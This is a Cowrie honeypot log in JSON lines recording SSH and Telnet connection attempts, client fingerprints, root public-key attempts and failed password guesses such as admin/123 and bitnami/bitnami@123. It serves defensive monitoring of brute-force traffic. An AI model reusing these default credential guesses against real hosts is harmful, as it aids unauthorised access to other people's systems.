{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:18.572411Z","src_ip":"120.48.135.189","session":"aecadd676816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":36362,"dst_ip":"10.17.0.5","dst_port":23,"session":"3278c197adfe","protocol":"telnet","message":"New connection: 45.63.78.87:36362 (10.17.0.5:23) [session: 3278c197adfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:21.451797Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":13367,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cb764ec382","protocol":"ssh","message":"New connection: 84.239.42.8:13367 (159.203.135.109:22) [session: d6cb764ec382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:22.714443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:22.719427Z","src_ip":"84.239.42.8","session":"d6cb764ec382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:22.846340Z","src_ip":"84.239.42.8","session":"d6cb764ec382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123","message":"login attempt [admin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:23.343429Z","src_ip":"84.239.42.8","session":"d6cb764ec382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:24.474864Z","src_ip":"84.239.42.8","session":"d6cb764ec382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16615128517151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:52.617810Z","src_ip":"45.63.78.87","session":"3278c197adfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":35054,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e0ed9a1d776","protocol":"ssh","message":"New connection: 36.93.249.106:35054 (159.203.135.109:22) [session: 5e0ed9a1d776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:53.354451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:53.362331Z","src_ip":"36.93.249.106","session":"5e0ed9a1d776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:53.634221Z","src_ip":"36.93.249.106","session":"5e0ed9a1d776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami@123","message":"login attempt [bitnami/bitnami@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:54.761544Z","src_ip":"36.93.249.106","session":"5e0ed9a1d776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:56.038976Z","src_ip":"36.93.249.106","session":"5e0ed9a1d776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":6847,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec33d838a75e","protocol":"ssh","message":"New connection: 185.9.193.111:6847 (159.203.135.109:22) [session: ec33d838a75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:19.563493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:19.568332Z","src_ip":"185.9.193.111","session":"ec33d838a75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:19.730777Z","src_ip":"185.9.193.111","session":"ec33d838a75e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail1","message":"login attempt [testmail/testmail1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:21.579402Z","src_ip":"185.9.193.111","session":"ec33d838a75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:22.787659Z","src_ip":"185.9.193.111","session":"ec33d838a75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":44946,"dst_ip":"159.203.135.109","dst_port":22,"session":"c94bed131db7","protocol":"ssh","message":"New connection: 36.93.249.106:44946 (159.203.135.109:22) [session: c94bed131db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:46.693518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:46.700514Z","src_ip":"36.93.249.106","session":"c94bed131db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:46.977224Z","src_ip":"36.93.249.106","session":"c94bed131db7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"pass","message":"login attempt [test1/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:48.120184Z","src_ip":"36.93.249.106","session":"c94bed131db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.42.135.59","src_port":21609,"dst_ip":"159.203.135.109","dst_port":23,"session":"28717e653663","protocol":"telnet","message":"New connection: 2.42.135.59:21609 (159.203.135.109:23) [session: 28717e653663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:48.829159Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:49.399882Z","src_ip":"36.93.249.106","session":"c94bed131db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.57.43","src_port":11618,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3cc8076ea37","protocol":"ssh","message":"New connection: 68.235.57.43:11618 (10.17.0.5:22) [session: a3cc8076ea37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:53.793288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:53.797844Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:53.828882Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:be:f9:ce:d8:9e:d1:35:d0:87:15:5a:df:f3:13:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvKvRQYDPL0VBRageDwk6y8xyoPMxSCqMNTV39VNKunxTn81hBnRcp3UYI/6dfrrXqUannVrwAjsKi/SJybvpKsx/0dfPUYNUjoV5goDZTCQvnL74ZctTohAV65OF2rbEfEcZS/qV6OH8iaEY2hD3/pdQWXFqrOgAbkY1f5Q7B5xEYJn3kD8FmqLx9gYGR/cZiTOH7XugJ11xtvj9UWlGE/cW2TFe4RzYK7LnyyNlJ5dJrlDDxQNz6/i4uM2VSbnl80UiZXt113xn8YNhJnrpqTd05CH2jgThAqlYfeHq0j/KdsUi8rl5x/X0wL7cwWv0r9Z5uDge86smrcqXV5ToT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:be:f9:ce:d8:9e:d1:35:d0:87:15:5a:df:f3:13:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:53.958408Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:be:f9:ce:d8:9e:d1:35:d0:87:15:5a:df:f3:13:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvKvRQYDPL0VBRageDwk6y8xyoPMxSCqMNTV39VNKunxTn81hBnRcp3UYI/6dfrrXqUannVrwAjsKi/SJybvpKsx/0dfPUYNUjoV5goDZTCQvnL74ZctTohAV65OF2rbEfEcZS/qV6OH8iaEY2hD3/pdQWXFqrOgAbkY1f5Q7B5xEYJn3kD8FmqLx9gYGR/cZiTOH7XugJ11xtvj9UWlGE/cW2TFe4RzYK7LnyyNlJ5dJrlDDxQNz6/i4uM2VSbnl80UiZXt113xn8YNhJnrpqTd05CH2jgThAqlYfeHq0j/KdsUi8rl5x/X0wL7cwWv0r9Z5uDge86smrcqXV5ToT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:53.962104Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:2a:f7:ca:3b:05:fc:42:8f:ac:64:84:77:7b:22:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ9bqXycEjvj8H/G0oCJoQTjt9v/xgDJRLYVD/ntGFaV8YVO+Pg3PMxgD0VupwxjJsJmtNQJpVUktT5WpScPbWa9brSlbQQry+PwU/Vz7xvNiVIZaHgQyP8B5rCPwSkOMNsVlmHKqXNfs742vO310Sz7fOUbRcIvm3WFwQWQ69cslp+vTtmjZo/q6El5QCz6Qv3n/rkn54kJJrr+bZpDT5fGjeVs1LQ2u0kcciwz7eCeCYjtlOL9ZeJnC7/QYiH+U0qIhQnW4xO3H1/cQemxC3ENjDrhDMzun6YFtX8NcEoxKpX8OCX62i69HX+yHR7CrDnPG/3+jcy//r7H4qjFBHsxf2cYu9me8M/8T4rEOvXn3xxGpJlWll1jDcE1qkOGcJgVlUtuI2QmFOXXyT6iSNBro2x+s/ZDWWiPXgv3z9BT4V8KkF6i3a8O0sd/HpDMCrnzUJpVc6XaF4a2pAbhCugXzsR2dRd6GhwBI0nwJcqtLAGSEaBXn+7o79WBOd+tZmskixoc7NVmos9Y+2aqj+zyyddYI2oBoeUN0rkwSuVhD2s2CApKo/R8EGuRZTA0+TjLRdActkUXgeopZfrx7DLs9ZKXwOLW8vr0ofwHg98YC6TtuIOJVRf0lWbaF76wL0bWh+r545EMXP+FlyafAP/kSJMtIvbIhr0b7xa2dDiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:2a:f7:ca:3b:05:fc:42:8f:ac:64:84:77:7b:22:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:53.994997Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:2a:f7:ca:3b:05:fc:42:8f:ac:64:84:77:7b:22:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ9bqXycEjvj8H/G0oCJoQTjt9v/xgDJRLYVD/ntGFaV8YVO+Pg3PMxgD0VupwxjJsJmtNQJpVUktT5WpScPbWa9brSlbQQry+PwU/Vz7xvNiVIZaHgQyP8B5rCPwSkOMNsVlmHKqXNfs742vO310Sz7fOUbRcIvm3WFwQWQ69cslp+vTtmjZo/q6El5QCz6Qv3n/rkn54kJJrr+bZpDT5fGjeVs1LQ2u0kcciwz7eCeCYjtlOL9ZeJnC7/QYiH+U0qIhQnW4xO3H1/cQemxC3ENjDrhDMzun6YFtX8NcEoxKpX8OCX62i69HX+yHR7CrDnPG/3+jcy//r7H4qjFBHsxf2cYu9me8M/8T4rEOvXn3xxGpJlWll1jDcE1qkOGcJgVlUtuI2QmFOXXyT6iSNBro2x+s/ZDWWiPXgv3z9BT4V8KkF6i3a8O0sd/HpDMCrnzUJpVc6XaF4a2pAbhCugXzsR2dRd6GhwBI0nwJcqtLAGSEaBXn+7o79WBOd+tZmskixoc7NVmos9Y+2aqj+zyyddYI2oBoeUN0rkwSuVhD2s2CApKo/R8EGuRZTA0+TjLRdActkUXgeopZfrx7DLs9ZKXwOLW8vr0ofwHg98YC6TtuIOJVRf0lWbaF76wL0bWh+r545EMXP+FlyafAP/kSJMtIvbIhr0b7xa2dDiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:53.999542Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:2c:e9:12:82:17:e7:6c:4e:ea:8f:35:48:58:f9:72","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANqMt3kgwmozfjcKsj05IHV91JrBZ3jUjFyhROgfbIWjoQxKAg/B1kFjPViyqSWtxp7Ze+10E+wk+uBss3nV1WNkehFYhB/NcBip4O/WUkVaW3zYucnfZaOa8iLgPznBn54Aw9ZfxBlGYCUvyCM/s/kHBt891lM/j9w06fN1NlYxAAAAFQC0ol0lBnmGTli6H0+TQ6XH9Oo3yQAAAIBW/nDziOMBeflbPSVMDqUuLLao53/SS6nVYIWMdn6u0qclfa6QyCcZtS/DxEkNtQQ2FAlVZoWliAJwpNRlJuvgBG77RvdSkngyyIgUqt2gi3E860mpBMyMr9NaaMNAtiExwUzPpn4KTZqVVr8AjRtmKEB07s81QT1WFOk1A61vFQAAAIBEUndRlywp3goqzjOW+ub5fulrD2BXhzmFv1fSPC6jZ3GgmIEoA/cxonX0jnVhfzX2Y3fjjsvTslcnOE3TLt6JRGryUbQW0Cfwp2563wRT9YvOgWo53p/sdeYNM5fnVcjYLhHDJfMYatSGaKMU9oqgSlcdstMzNs3u9rTXfePfcw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0f:2c:e9:12:82:17:e7:6c:4e:ea:8f:35:48:58:f9:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:54.033797Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
